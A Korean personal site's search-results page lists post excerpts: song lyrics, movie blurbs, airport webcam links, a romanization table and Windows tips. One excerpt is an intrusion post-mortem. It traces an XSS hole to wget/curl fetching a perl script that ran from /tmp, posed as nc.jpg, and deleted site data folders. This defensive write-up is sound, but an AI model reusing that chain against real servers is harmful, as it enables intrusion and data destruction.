검색


자료검색


"em" 키워드로 총 409건 검색되었습니다.


[이야기]  [태풍참고] 오키나와 나하공항, 후쿠오카공항, 오사카 CCTV 실시간 크롬으로 실행 권장오키나와 나하공항 - https://www.qab.co.jp/livenahacity/오키나와 나하공항- https://www.youtube.com/watch?v=H_A96hwQnDg&feature=emb_title후쿠오카공항- https://www.youtube.com/watch?v=AcBvgPTL9cg오사카 - https://www.youtube.com/watch?v=GjemgjZHO1k도쿄 신주쿠 - https://www.youtube.com/watch?v=BQYKarjjWi0
[이야기]  이름영문표기법 ㄱ 가 ga  각 gak  간 gan  갈 gal  감 gam  갑 gap 갓 gat 강 gang 개 gae 객 gaek 거 geo 건 geon 걸 geol 검 geom 겁 geop 게 ge 겨 gyeo 격 gyeok 견 gyeon 결 gyeol 겸 gyeom 겹 gyeop 경 gyeong 계 gye 고 go 곡 gok 곤 gon 골 gol 곳 got 공 gong 곶 got 과 gwa 곽 gwak 관 gwan 괄 gwal 광 gwang 괘 gwae 괴 goe 굉 goeng 교 gyo...
[이야기]  서버 침투 예상 경로 서버 예상 경로 Xss 취약점 > Apache 권한 > curl, wget 이용 perl 다운로드 > /tmp/ 에서 perl script 실행 > data,member,inc,notice 하위폴더 데이터 삭제 특이사항 perl cpu점유율 과다 /tmp/ perl 소스 생성 /var/tmp/nc.jpg(내용은 perl) Apache error_log에 wget를 이용한 perl 다운로드 흔적 netstat 중국 ip연결시도 확인추가혹시나 역시 XSS(Cross-site scripting)으로 wget으로...
[갤러리]  재미있는 곱하기 계산식  
[영화]  코드 8 먼 미래의 미국 오리건주 링컨카운티의 도시를 배경으로 펼쳐지는 판타지 SF 영화다. 비정상적인 능력을 가진 사람은 인구의 4%를 차지하며, 그들 중 60%는 모두 체포되었다며 극이 시작된다. 이러한 설정은 우리가 잘 알고 있는 마블의 엑스맨과 비슷해 보이는 설정으로, 그들도 마찬가지로 업악받으며 살아간다. 초능력을 이용한 단순 노동을 하고, 초능력을 사용하지 않았음에도 우발적인 다툼에 로봇과 경찰이 투입된다.평범한 가정의 가장인 코너는 돈을 벌기 위해 프레디와 건설현장으로 가게 된다. 그들은 괴력, 불을 뿜는 능력, 염동력, ...
[영화]  어벤져스 ASSEMBLE! 최강의 슈퍼히어로들이 모였다! 지구의 운명을 건 거대한 전쟁이 시작된다!  지구의 안보가 위협당하는 위기의 상황에서 슈퍼히어로들을 불러모아 세상을 구하는, 일명 [어벤져스] 작전.  에너지원 ‘큐브’를 이용한 적의 등장으로 인류가 위험에 처하자 국제평화유지기구인 쉴드 (S.H.I.E.L.D)의 국장 닉 퓨리(사무엘 L.잭슨)는 [어벤져스] 작전을 위해 전 세계에 흩어져 있던 슈퍼히어로들을 찾아나선다. 아이언맨(로버트 다우니 주니어)부터 토르(크리스 헴스워스), 헐크(마크 러팔로), 캡틴 아메...
[음악]  Rihanna - Take A Bow
[음악]  Eminem - Love The Way You Lie ft. Rihanna
[음악]  Ylvis - The Fox (What Does The Fox Say?)
[음악]  Crazy Frog - Axel F
[음악]  Lady Gaga - Poker Face
[음악]  Sia - Chandelier
[음악]  Carly Rae Jepsen - Call Me Maybe
[음악]  강산에 - 연어
[음악]  Ellie Goulding - Still Falling For You Fire and ice불과 얼음 같아This love is like fire and ice우리의 사랑은 마치 불과 얼음 같아This love is like rain and blue skies우리의 사랑은 마치 비와 맑은 하늘 같아This love is like sun on the rise우리의 사랑은 마치 떠오르는 태양 같아This love got me rolling the dice우리의 사랑은 내게 운명의 주사위를 굴리게 했어Don't let me lose상처받고 싶지 않아Still falling for you여전히 네게 ...
[음악]  이해리 - 사랑하는 사람아 긴 하루의 끝에서 꺼내보는 내 마음속에 꼭 숨겨둔 이야기먼 훗날 언젠가는 돌아보며 어렴풋한 기억에 난 웃음짓겠지봄날에 향기가 따뜻한 바람이 그대 데리고 와 내 옆에 앉네사랑하는 사람아 나를 기억 못해도 나 혼자만 바래온 못난 사랑이래도이제야 혼잣말 많이 좋아했다고 바보 같은 나지만 참 사랑했다고그날에 그대를 바래온 날들은 여기 내 마음속에 노래가 되어사랑하는 사람아 나를 기억 못해도 나 혼자만 바래온 못난 사랑이래도이제야 혼잣말 많이 좋아했다고 바보 같은 나지만 참 사랑했다고내 꿈같은 사람아 기억하지 않아도 바람이 이 봄날이 ...
[음악]  타루(Taru) 내겐 사랑하나(뉴하트OST) 난 그대를 너무 몰랐어요조그만 관심들까지도 그대의 소중한 마음까지 밀어냈죠난 그대 없는 하루가 이렇게 아픈 줄 몰라         괜한 투정으로 흔한 이유들로 나를 잊으라 말했죠이젠 무엇 하나 갖지 못하는 나 내게 남은 건 this is your love     다시는 누구도 내안에 담을 수 없어요 babe미안하단말로 돌아오란 말로 그댈 바라고 원하지만들리지 않겠죠 이젠 나를 지워가겠죠 난 그대뿐이죠      &...
[음악]  Rod Stewart - Sailing I am sailing, I am sailing,나는 항해하네, 나는 항해하네,home again 'cross the sea.바다를 건너 다시 집으로.I am sailing, stormy waters,나는 항해하네, 거친 바다를,to be near you, to be free.당신 가까이 있기 위해, 자유롭기 위해I am flying, I am flying,나는 날고있네, 나는 날고있네,like a bird 'cross the sky.하늘을 가르는 새처럼,I am flying, passing high clouds,나는 날고...
[음악]  다비치 - 나의 오랜 연인에게 까만 밤 빛이 없는 하루에 혼자 서있는 듯 어떤 말도 반갑지 않은 날에그래 넌 항상 거기 있지 그게 난 너무 편했나 봐 좋았나 봐 자꾸 두려울 만큼 멀리 걷고 있는 사람들 속 너만 참 빛나 보여 그저 힘들던 하루가날 아껴주는 네가 있어서 감사해가끔씩 난 뒤 돌아보면 철없이 온 세상에 우리 둘밖에 없었던 지난날 그때 또 그립겠지만 처음 같은 설레임보다 서로를 따뜻하게 바라봐주는 지금 이대로의 모습이 소중해이렇게 오랫동안 우리가 함께 웃게 될 줄 몰랐어 난 아마 너도 그렇지때론 알 수 없는 불안함에 아픈 날도 있...
[음악]  펀치 - 영화속에 나오는 주인공처럼 영화 속에 나온 주인공처럼예쁜 단장하고 있어요   창가에 가득 꽃들을 채우면서그댈 맞이할게요 음 저기 들리는 그대 발자국나를 깨우며 미소 짓게 해 오늘 하루도 난 주인공 되어그대라는 멋진 사랑을 만나Wish you Need you With you지금 이 순간 나는 너무 행복해 이른 아침에 눈 뜨기 싫어도그대 생각에 웃죠오늘은 어떤 일들이 생겨날까기대 기대하죠 음 결말이 없는 이야기처럼끝나지 않을 나의 이야기오늘 하루도 난 주인공 되어그대라는 멋진 사랑을 만나Wish you ...
[음악]  [MV] K.will(케이윌) - Talk Love(말해! 뭐해?) l 태양의 후예 OST Part.6 아무 말 없이 내게서커져만 가는게아무래도 이대론 안되겠어어쩌다 내가 이렇게네게 빠진 건지이유를 나도 모르겠어넌 왜 내게서 맴돌아뭘 해도 신경 쓰이고뭘 해도 궁금해지고넌 왜 내게서 맴돌아oh 어떡해 나자꾸만 생각이나말해! 뭐해?, 말해! 뭐해?이러다가 바보처럼한눈팔게 하지 말고말해볼래, 말해볼래나의 맘에 담긴 사람you are my only one너무나 사랑을 해도눈물 난다는 게그런 말이이해가 되지 않아하지만 그댈 본 순간두 눈 가득 고인눈물이 사랑인 것 같아넌 왜 내게서 맴돌아뭘 해도 신경 쓰이고뭘 해도 궁금해지고난 너 하나만...
[음악]  Francis Mercier & Stavro T ? Like A Ghost (feat. Jodi Ferguson) Feel the chills roll down your spineLost in the music lost in timeAnd Idon't wanna be a clicheBut it seems like things are going that wayI don't know what to say, say, say, sayWon't you hold meWon't you hold me dearHold me deep into the night and we'll be fearless togetherLike a ghostBaby yo...
[음악]  어른 (Adult) - 손디아 (Sondia) [나의 아저씨 / My Mister OST] (cover by Giwon) 고단한 하루 끝에 떨구는 눈물난 어디를 향해 가는 걸까아플 만큼 아팠다 생각했는데아직도 한참 남은 건가 봐이 넓은 세상에 혼자인 것처럼아무도 내 맘을 보려하지 않고아무도눈을 감아보면 내게 보이는 내 모습지치지 말고 잠시 멈추라고갤 것 같지 않던 짙은 나의 어둠은나를 버리면 모두 갤 거라고웃는 사람들 틈에 이방인처럼혼자만 모든 걸 잃은 표정정신없이 한참을 뛰었던 걸까이제는 너무 멀어진 꿈들이 오랜 슬픔이 그치기는 할까언젠가 한 번쯤 따스한 햇살이 내릴까나는 내가 되고 별은 영원히 빛나고잠들지 않는 꿈을 꾸고 있어바보 같은 나는 ...
[음악]  에일리 - 첫눈처럼 너에게 가겠다(도깨비 OST Part 9) 널 품기 전 알지 못했다내 머문 세상 이토록 찬란한 것을작은 숨결로 닿은 사람겁 없이 나를 불러준 사랑몹시도 좋았다너를 지켜보고 설레고우습게 질투도 했던평범한 모든 순간들이 캄캄한 영원그 오랜 기다림 속으로햇살처럼 니가 내렸다널 놓기 전 알지 못했다내 머문 세상 이토록 쓸쓸한 것을 고운 꽃이 피고 진 이 곳다시는 없을 너라는 계절욕심이 생겼다너와 함께 살고 늙어가주름진 손을 맞잡고내 삶은 따뜻했었다고 단 한번 축복그 짧은 마주침이 지나빗물처럼 너는 울었다한번쯤은 행복하고 싶...
[음악]  울랄라세션, 아이유(IU) - 애타는 마음 너에게 눈을 뗄 수 없는 이유가뭔지 내게 말해줘사랑일까 이런 게 사랑일까바로 너야이쁜 이 장미 닮은 너야 입술이 딸기같은 거야내 맘을 1초만에 다 뺏겨 버렸어그래 나야널 아껴주는 사람 나야널 지켜주는 사람 나야니 사랑 송두리째 다 뺏어 주겠어어느 때보다 확실해다른 애보다 위험해자꾸만 눈길이 가 이상하지 나소란해 내 심장이 쿵 쾅 뛰는 소리 커져 가니가 다가와 주면사랑일까 (사랑이야) 이런 게 사랑일까어떡해 얼굴이 금방 새빨개진 이유가뭔지 내게 말해줘사랑일까 (사랑이야) 이런 게 사랑일까나나나 촌스럽지만다다다 유치하지만...
[음악]  타이푼 - 그리울 사랑 그대 떠나가고 시커먼 멍이 되어그대 남겨진 이 내가슴에다시 돌이킬 수 없는 아픔이 고통되어밤새 울고 도는 또 술을 마셔봐도이제 지워지지 않는 그대그댈 만질 수도 볼 수도 없단걸이제야 깨닫게 되었어나의 사랑 단 하나뿐인 사랑나의 사랑아 이제 슬퍼마요아파와도 나 그대가 생각이 나도이제는 난 항상 웃을게요나의 그대 단하나뿐인 그대그리울 사랑아 모질게 떠나요그댈 보고파도 정말 그리워도그대를 지울 수 있을테니외로워서 또 괴로워서 또 너와 함께했던 날들이머릿속을 채워 애태워 너를 기다리고 그리워해도아무 소용없어...
[음악]  Jay Z & Alicia Keys - Empire State of Mind LIVE (Times Square, NYC 2016) Yea, yea I'm out that Brooklyn, now I'm down in TribecaRight next to DeNiro, but I'll be hood foreverI'm the new Sinatra, and, since I made it hereI can make it anywhere, yea, they love me everywhere I used to cop in Harlem,All of my Dominicano's right there up on Broadway,Pull me back to th...
[음악]  Eddie Higgins Trio - Autumn leaves
[음악]  Amy Winehouse - Back To Black He left no time to regretKept his dick wetWith his same old safe betMe and my head highAnd my tears dryGet on without my guyYou went back to what you knewSo far removed from all that we went throughAnd I tread a troubled trackMy odds are stackedI'll go back to blackWe only said goodbye with word...
[음악]  Bad (feat. Vassy) (Radio Edit) I say why does it feel so good?So good to be badGetting what I want, boyWhy does that make you so mad?You see, why does it feel so good?So good to be bad'Cause if it's trouble that you're looking forOh baby, here I am (I am)Oh baby, here I amI said why does it feel so good?So good to be bad (B...
[음악]  에일리 - 미워도 사랑해 하루 이틀이 지나도 난 아직 여기 살아또 일 년 몇 년이 지나도 널 못 떠날 것만 같아난 너 때문에 한참을 울어가슴 속에 미움만을 남긴 채그런 너는 어디 있니 못 한 말이 남았는데Oh babyI’m so sorry 널 잊고 사는 게 맞는 건지I’m so sorry 이미 꺼져버린 너의 전화기미워도 아무리 니가 미워도이 빗속에서 흘린 눈물을 나 홀로 삼킨다What can I do 내가 어떡하길 바래Tell me what to do 말해줘 제발이대로 가지 마 혼자 또 하는 말널 지킬 수 없었지만난 너 때문에 한참을 울어가슴 속에 미...
[음악]  양파 - 사랑... 그게 뭔데 무슨 뜻인 건가요 지금 한 그 말잊으라는 지우라는 차가운 한 마디믿어지지 않아요 거짓말 같아왜 우리가 왜 우리가 헤어져야 해제발 말해줘요 잘못 들은 거라고이러다 내 가슴이 터지기 전에대체 니가 뭔데 날 울려 날 울려어떻게 니가 날 떠나가이렇게 버릴 걸 왜 나를 가졌니사랑 그게 뭔데이토록 가슴에 힘겨운 상처만 남겨놔너 아닌 누구도 이제 다신 품을 수 없게..나를 알잖아요 여린 사람이란 걸왜 기어코 자꾸 날 독해지게 해대체 니가 뭔데 날 울려 날 울려어떻게 니가 날 떠나가이렇게 버릴걸 왜 나를 가졌니사랑 그게 뭔데이토록 가슴에 힘...
[음악]  솔 플라워 - 아프고 아파도 오늘은 아플것 같아 나 많이 울것만 같아사랑했던 널 보내야 하니까함께 울고 웃던 날이 자꾸만 생각이 나서서운하고 가슴이 아파..너무 미안해 하지마 슬픈 표정도 짓지마이런 내가 더 미안해지잖아다만 니가 걱정돼서 내가 없이 살 너라서꼭 부탁하고 싶은 게 있어제발 아프지 말고 제발 울지도 말고속상하다고 술 많이 마시지도 말고귀찮아도 밥 거르지 말고혹시라도 내 생각나도 전화하지 말고말은 하지 않아도 괜찮은 척 웃어도내가 가슴 아플 줄 니가 더 잘 알면서사랑했다는 말 한번쯤은 할 수 있잖아이런 게 이별인가 봐나 먼저 일어서줄게 나 먼저...
[음악]  신지 - 늦은 후회 우리처음 만났던 그 어느날숨이 멈출것 같던 그 순간이이제 낯설게만 느껴져 사라져만 가는그 시간 기억이 떠나가고있네항상 곁에 있을꺼라 믿었던아무 의심도 없던 그 시간들이이젠 서로 각자의 방에 갇혀 서성이며서로에게 잔인하다 느꼈죠그렇게 우리 헤어져 지워진 시간들 처럼생각 못했던 이별을 한 순간들이..소설속에 나오는 흔치않은 이별 얘기들처럼낯설게만 지내온 그 순간들이그대 떠난 후에야 난 알았어그 순간들이 정말 소중했음을지금 그대없는 빈자리 홀로 헤매이며이제서야 사랑인걸느꼈죠그렇게 우리 헤어져 지워진 시간들 처럼생각 못했던 이별을 한...
[음악]  리쌍 - 눈물 니가 떠나고 늘 슬프다아무리 슬퍼해도 슬픔이 모잘라맘 놓고 아파할 곳을 찾아 숨는다불 꺼진 집 안에 멈춰진 차안에 너의 집 앞에사랑 잃은 삶은 가난 남아 있는것은 그저 텅 빈 내마음 너와 난마치 더이상 함께할 수 없는 낮과밤우리가 나눠가진것은 그리움 하나술에 취해 불쑥 찾아와 오늘은 오빠랑 잘꺼라며 떼를쓰고배렛나루 만지며 내 품에 누워 보고싶었다며 말을하고왜 오빠는 매일 바쁘냐며 묻고 소리없이 울고  그냥해본 말이라며 자긴 항상 나를 믿는다고내 옆을 항상 지켜주던 너와의 모든것이 다 이제는 그리움이 ...
[음악]  소야앤썬 - 웃으며 안녕 Hook.이별 앞에서 우린 가슴 아픈 말 대신서로에게 손을 흔들면서 안녕이라 해요마치 내일 또 다시 볼 수 있는 것처럼 웃으면서그렇게 안녕이라고 해요Verse 1.지금 이 순간부턴 혼자 걸어가야 하겠죠그대 바래다 주던 집으로 돌아가는 길서로 마주 잡은 손 이제는 살며시 놓으며돌아서야 하는데 왠지 움직일 수 없네요Rap 1.행복해야 해 넌 그래야 해반드시 좋은 사람 만나야 해가끔 술에 취할 때 비라도 오는 날에추억이 널 못살게 굴지 않게내가 옆에 없다고 끼니 거르지 말고언제나 너답게 웃으며 말해그 사람 뭐하냐고 누군가 물어봐도기...
[음악]  이현경 - 처음 보는 나 널 바라보는 순간이갈수록 길어지는 나를 발견하게 됐을 때두근거려 오는 너와 눈 마주치는 순간피해버리는 내 떨림에나도 놀라서 얼버무리는 내 모습이너에게 보여준 나의 유일한 맘말을 하려 해도 막 뒤엉키는 준비한 고백은한 번도 보지 못한 답답한 내 모습널 사랑하기 전 나만큼만우연히 친구 만날 때처럼만큼만조금 더 침착하게 조금 더 솔직하게너만을 위해 꼭 해주고 싶던 말사랑해아무도 몰라 나 혼자만이 고민했던 니 생각 니 걱정들이 버거워서말을 하려 해도 막 뒤엉키는 준비한 고백은한 번도 보지 못한 답답한 내 모습널 사랑하기 전 ...
[음악]  소향 - 가슴만 알죠 그대 그리움에 또 하루가그대 보고 싶어 눈 감아요자꾸만 내 곁을 멀어지는 그대 모습안돼요 안돼요 안돼우리 사랑하면 안되겠죠정말 사랑은 이기적이죠그대 바라보는 하루가 또 힘드네요가슴이 가슴이 아파사랑한 만큼 아픈가 봐요사랑하면 안될 사람이라서눈이 멀어도 귀가 막힌 데도그대를 사랑할 수만 있다면가슴만 알죠 내 소중한 사람너만 바라보면 내 맘이 아파사랑한 만큼 아픈가봐요사랑하면 안될 사람이라서그대 기다림에 또 하루가나는 그리움만 품고 살죠내겐 상처 따윈 아무래도 괜찮아요아프고 아프고 아파사랑한 만큼 아픈가 봐요사랑하면 안될 사람이라...
[음악]  미생(未生) MV - 한희정 \"내일\"
[음악]  Falling Slowly - Glen Hansard and Marketa Irglova (Once)
[음악]  Adele - When We Were Young
[음악]  조커(2019) OST : Rock \'n\' Roll (Part 2).FLAC / Joker(2019) OST : Rock \'n\' Roll (Part 2).FLAC
[음악]  나훈아 - 사내 큰 소리로 울면서 이 세상에 태어나가진 것은 없어도 비굴하진 않았다때론 사랑에 빠져 비틀댄적 있지만입술 한번 깨물고 사내답게 웃었다긴가민가 하면서 조마조마 하면서설마설마 하면서 부대끼며 살아온이 세상을 믿었다 나는나를 믿었다추억묻은 친구야 물론 너도 믿었다벌거벗은 몸으로 이 세상에 태어나자랑 할 것 없어도 부끄럽지도 않아한때 철없던 시절 방황한적 있지만소주한잔 마시고 사내답게 잊었다긴가민가 하면서 조마조마 하면서설마설마 하면서 부대끼며 살아온이 세상을 믿었다 나는나를 믿었다추억묻은 친구야 물론 너도 믿었다미련같은건 없다 후회 ...
[음악]  장혜진 X 윤민수 - 술이 문제야 그리워서 한 잔생각나서 한 잔내 눈물 섞어 한 잔또 한 잔 마시다우리 옛 추억에 취해독한 네 사랑에 취해너의 전화 번홀 누르게 돼아마 받지 않겠지만미안해술이 문제야 문제자꾸 너를 떠올리게 해술이 문제야 문제자꾸 네가 생각나게 해정말 미친 듯이 보고 싶어 한 잔정말 미친 듯이 그리워서 한 잔한 잔 두 잔 기울이면너의 기억 모두 끊어질까 봐술 한잔했어요잊어보려 한 잔지워보려 한 잔내 눈물 섞어 한 잔또 한 잔 마시다흐릿한 얼굴에 취해희미한 기억에 취해다시 전화 번홀 누르게 돼절대 받지 않겠지만미안해술이 문제야 문제자꾸 너를 떠올리...
[음악]  케이시(Kassy) - 가을밤 떠난 너 가을밤 떠난 너그런 너를 기다리는 나그 계절은 다시 돌아너를 생각나게 해사랑한다고기다린다고전해달라고 이런 내 맘차가운 밤 향기에쓸쓸해지는 이 밤잘 지내고 있니 넌 바쁜 거 같더라가끔 니 소식을 들어 이젠아무렇지 않은 척 괜찮다 해도사실 혼자 많이 울었어음 니가 보고 싶은 밤울컥해지는 밤잠 못 이루는 밤시간만 더디게 가가을밤 떠난 너그런 너를 기다리는 나그 계절은 다시 돌아너를 생각나게 해사랑한다고 기다린다고전해달라고 이런 내 맘차가운 밤 향기에쓸쓸해지는 이 밤미안해 이 말 한마디면 충분한데뭐가 그리 어렵던지 우리그때 내가 얼마...
[음악]  악동뮤지션(AKMU) - 어떻게 이별까지 사랑하겠어, 널 사랑하는 거지 일부러 몇 발자국 물러나내가 없이 혼자 걷는 널 바라본다옆자리 허전한 너의 풍경흑백 거리 가운데 넌 뒤돌아본다그때 알게 되었어난 널 떠날 수 없단 걸우리 사이에 그 어떤 힘든 일도이별보단 버틸 수 있는 것들이었죠어떻게 이별까지 사랑하겠어널 사랑하는 거지사랑이라는 이유로 서로를 포기하고찢어질 것같이 아파할 수 없어 난두세 번 더 길을 돌아갈까적막 짙은 도로 위에 걸음을 포갠다아무 말 없는 대화 나누며주마등이 길을 비춘 먼 곳을 본다그때 알게 되었어난 더 갈 수 없단 걸한 발 한 발 이별에 가까워질수록너와 맞잡은 손이 사라지는 것...
[음악]  [MV] Ha Yea Song(송하예) _ Another Love(새 사랑) 한참을 내 옆에서 지켜주던무던한 사람가끔 네 욕을 해도 내 편이 되주는착한 사람새 사랑을 시작하는 게아직 겁나는데이런 나라도 좋대오늘 고백하는 그 남잘 보고난 니가 생각나서 눈물을 참다가내 답을 기다리는 그 눈에괜히 죄를 짓는 것 같아서아무 말도 못했어이젠 나도 행복해도 돼?듣지 못할 답을왜 너에게 묻는건지오늘 고백하는 그 남잘 보고난 니가 생각나서 눈물을 참다가내 답을 기다리는 그 눈에괜히 죄를 짓는 것 같아서고개만 끄덕였어나 괜찮은거지?사랑해도 되지?니가 못해준그때보다 더 예쁜사랑전부 해 줄 사람을 만났어오늘같이 기뻐해야 ...
[음악]  어쿠스틱 콜라보 - 묘해, 너와 니 생각에 꽤 즐겁고니 생각에 퍽 외로워이상한 일이야 누굴 좋아한단 건아무 일도 없는 저녁집 앞을 걷다 밤 공기가 좋아서뜬금없이 이렇게 니가 보고 싶어참 묘한 일이야 사랑은좋아서 그립고 그리워서 외로워져이게 다 무슨 일일까내 맘이 내 맘이 아닌걸이제와 어떡해 모든 시간 모든 공간내 주위엔 온통 너뿐인 것 같아 묘해보고 싶어 신기하고신기해서 보고 싶고그러다 한 순간 미친 듯 불안하고아무렇지도 않은데햇살에 울컥 눈물이 날 것 같고그러다가 니 전화 한 통에 다 낫고참 묘한 일이야 사랑은아파서 고맙고 고마워서 대견해져이게 다 무슨 일...
[음악]  Jim Croce - Time in a bottle - 1973 If I could save time in a bottle시간을 병에 담아둘 수 있다면,The first thing that I'd like to do가장 처음으로 내가 할 일은Is to save every day 'til eternity passes away영원이 의미 없어질때까지 매일의 시간을 담아두는 거야.Just to spend them with you너와 그 시간을 함께해야지If I could make days last forever만일 하루 하루가 영원히 계속되게 할 수만 있다면,If words could mak...
[음악]  [MV] Monday Kiz(먼데이 키즈) _ My love has faded away(사랑이 식었다고 말해도 돼) 어떻게 보면 참전쟁 같았다 우리행복한 나날의수만큼 아프게 했던날들도 많았고울렸던 날도 많았어길었던 시간을 지켜줬던너야너를 너무 사랑해서그게 멀어지게 한 걸까어리숙한 내 잘못인가사랑이 식었다고솔직히 말해도 돼가슴 뛰는 설렘이네게온 거라고 나보다좋은 사람이너에게 생긴 거라고다른 핑계겠지우린 안 맞는다고질리게 들었어네 맘이 떠나간 후로혹시나 우리가괜찮은 시절에 만나잘해줬다면은우리 조금은 다를까너를 너무 사랑해서그게 멀어지게 한 걸까철이 없는 내 욕심인가사랑이 식었다고솔직히 말해도 돼가슴 뛰는 설렘이네게온 거라고 나보다좋은 사람이너에...
[음악]  김동희 - 썸데이 어느 날 그대를 만나서사랑의 기쁨을 깨닫고나 같은 여자도 사랑을 알게 했다오어느 날 그대를 만나서사랑의 의미를 배우고나라는 사람이 있단 걸 알게 됐다오어느 날 그대를 만나서나는 사랑을 했다오그땐 사랑을 지우고 또 지워야 하는지 몰랐다오사랑이 사랑을 머금고 눈물은 태연히 흐르고이별이 뭔지도 몰라서 난 웃었다오어느 날 그대를 만나서나는 사랑을 했다오그땐 심장을 떼내고 버려도 안 되는 걸정말 몰랐다오그대 이름을 부르고 부르고 부르고 부르며 애를 써 봐도눈물이 내 손을 잡으며 잡으며 그대를 말려도나 하나 사랑한 나만을 지켜봐 주던그런...
[음악]  [군가] 전선을 간다 높은산 깊은골 적막한 산하눈내린전선을 우리는 간다젊은넋 숨져 - 간 그때그자리상처입은 노송 - 은 말을 잊었네전우여 들리는가 그 성난 목소리 전우여 보이는가 한맺힌 눈동자푸른숲 맑은물 숨쉬는 산하봄이 온 전선을 우리는 간다젊은피 스며 - 든 그때그자리이끼낀- 바위-는 말을잊었네전우여 들리는가 그 성난 목소리 전우여 보이는가 한맺힌 눈동자
[음악]  마로니에 - 칵테일 사랑(Marronnier - Cocktail Love) Korean MV
[음악]  이희문 - That Man (그 사나이) My Mister (나의 아저씨) OST Part 1 LYRICS 폭풍처럼 다가오는 그 사나이 바위처럼 믿음직한 그 사나이거짓없는 너털웃음 매력있어언제봐도 매력있네 그 사나이즐거워도 괴로워도 미련없이 날리고태양처럼 타오르는 마음 아무도 몰라나만 보면 웃어주는 그 사나이 언제 봐도 매력있네 그 사나이그 사나이 내 마음을 몰라주네뜨거워진 내 마음을 고백할까 즐거워도 괴로워도 미련없이 날리고태양처럼 타오르는 마음 아무도 몰라즐거워도 괴로워도 미련없이 날리고태양처럼 타오르는 마음 아무도 몰라
[음악]  영화음악 인디아나 존스 OST Indiana Jones Raiders of the Lost Ark(1981)
[음악]  [MV] SG wanna be - 꿈의 대화 땅거미 내려앉아 어두운 거리에가만히 너에게 나의 꿈 들려주네조용한 호숫가에 아무도 없는 곳에우리의 나무집을 둘이서 짓는다외로움이 없단다 우리들의 꿈속에서러움도 없어라 너와 나의 눈빛엔마음깊은 곳에서 우리 함께 나누자너와 나만의 꿈의 대화를외로움이 없단다 우리들의 꿈속에서러움도 없어라 너와 나의 눈빛엔마음깊은 곳에서 우리 함께 나누자너와 나만의 꿈의 대화를외로움이 없단다 우리들의 꿈속에서러움도 없어라 너와 나의 눈빛엔마음깊은 곳에서 우리 함께 나누자너와 나만의 꿈의 대화를
[윈도우팁]  Window7 명령프롬프트에서 ping, ipconfig 명령이 없다고 나올때 원인시스템 경로가 환경변수가 등록되어 있지 않아 생기는 문제로 프로그램(APM_SETIP등) 설치시 환경변수가 삭제되어 문제 발생.해결방법제어판 > 시스템 > 고급 시스템설정 > 고급탭 > 환경변수 > 시스템 변수란의 path에 "%SystemRoot%system32;" 추가 > 확인
[윈도우팁]  NTSC(National Television System Committee), PAL(Phase Alternating Line) NTSC1953년 미국의 National Television System Committee에서 만든 칼라 TV 표준으로 미국, 우리나라, 일본, 캐나다 등에서 사용합니다. 수평해상도 525라인, 수직 주파수 60HZ, 초당 29.97fps입니다. PALPAL (Phase Alternating Line)은 1960년대 초 유럽에서 개발된 TV 표준입니다. PAL은 NTSC보다 약간 해상도가 좋은 수평해상도 635라인을 사용합니다. 그러나 초당 프레임은 NTSC보다 작은 25fps를 사용합니다.PAL에는 PAL B/G, PAL I...
[윈도우팁]  [Win7] Windows 키를 사용하거나 사용하지 않도록 설정하는 방법 Windows 키를 사용하지 않도록 설정하려면 다음과 같이 하십시오. 시작, 실행을 차례로 클릭하고 regedt32를 입력한 다음 확인을 클릭합니다.창 메뉴에서 HKEY_LOCAL_ MACHINE(로컬 시스템)을 클릭합니다.SystemCurrentControlSetControl 폴더를 두 번 클릭한 후 키보드 레이아웃 폴더를 클릭합니다.편집 메뉴에서 값 추가를 클릭하고 Scancode Map을 입력한 후 REG_BINARY를 데이터 형식으로 클릭하고 확인을 클릭합니다.데이터 필드에 00000000000000000300000...
[윈도우팁]  윈도우 프로세스 csrss.exe 는 무엇일까요? 해당 파일은 마이크로소프트사의 Client/Server Runtime Subsystem인 응용프로그램입니다.32bit 하위시스템의 윈도우 콘솔을 관리하고, 커널 모드의 드라이버 및 스레드를 생성/삭제합니다.시스템 구동에 실표한 핵심 프로세스이며, 중지할 수 없는 프로세스 입니다.특별한 경우가 아닌 평소의 경우 CPU점유율이 0~1%정도이며, 최대 점유율이 15%를 넘아가면 바이러스나 프로세스의 오류를 의심해봐야 합니다.파일의 경로 : C:WINDOWSsystem32csrss.exe해당 파일이 바이러스가 원인이라면 안전모드...
[윈도우팁]  Taskmanager.exe 오류에 대한 안내와 조치방법 설명해당 서비스 프로세스는 윈도우 작업관리자 프로세스라고 혼동하기 쉬운데 아니다. 윈도우 작업관리자 프로세스는 taskmgr.exe이므로 전현 무관한 프로세스 이다. 해당 프로세스는 파일공유 설치프로그램에서 함께 설치되는 프로세스이다.해당 프로레스는 서비스(표시명 : Windows Service Launcher , 서비스이름 : fServerService)가 실행되면C:WINDOWSsystem32TaskManager.exe 프로그램이 실행되고 자신(C:WINDOWSsystem32TaskSvc.exe)은 종료된다.조치...
[윈도우팁]  매일 같은 시간에 부팅되는 내 PC PC를 켜고 <Del> 키를 눌러 CMOS 셋업 화면을 띄운 다음 CMOS SETUP Power Management Setup 메뉴로 이동해 <Enter> 키를 누르고, 여기서 Resume by Alarm 항목의 값을 Enable로 설정한 뒤 Time Alarm은 PC가 자동으로 켜질 시간, Date Alarm 은 0으로 설정한다.
[윈도우팁]  svcenv.exe 파일정보특정 설치 프로그램에 종속되어 시스템에 설치됩니다.(RegnesseP 파일공유서비스)프로그램의 용도는 확인할 수 없으나 설치된 regnesseP 프로그램을 삭제해도 이 서비스는 삭제되지 않습니다.서비스 위치제어판 > 관리도구 > 서비스에 등록되어 윈도우가 시작할 때마다 자동으로 실행됩니다.등록된 서비스 이름SvcEnv서비스 제한 명령시작 > 실행 에 다음 명령줄 입력sc stop "SvcEnv"sc config "SvcEnv" start=disabled서비스 삭제 명령sc delete "SvcE...
[윈도우팁]  XP 오류 코드 표 6000 지정한 파일을 암호화할 수 없습니다. 6001 지정한 파일의 암호를 해독할 수 없습니다. 6002 지정한 파일은 암호화되었으며 사용자는 암호를 해독할 수 없습니다. 6003 이 시스템에는 올바른 암호 복구 정책이 없습니다. 6004 이 시스템에는 필요한 암호화 드라이버가 로드되지 않았습니다. 6005 현재 로드된 드라이버가 아닌 다른 암호화 드라이버로 파일이 암호화되었습니다. 6006 사용자에 대해 정의된 EFS 키가 없습니다. 6007 지정한 파일이 암호화되지 않았습니다. 6008 지정한 파일이 정의된 EFS 내보내...
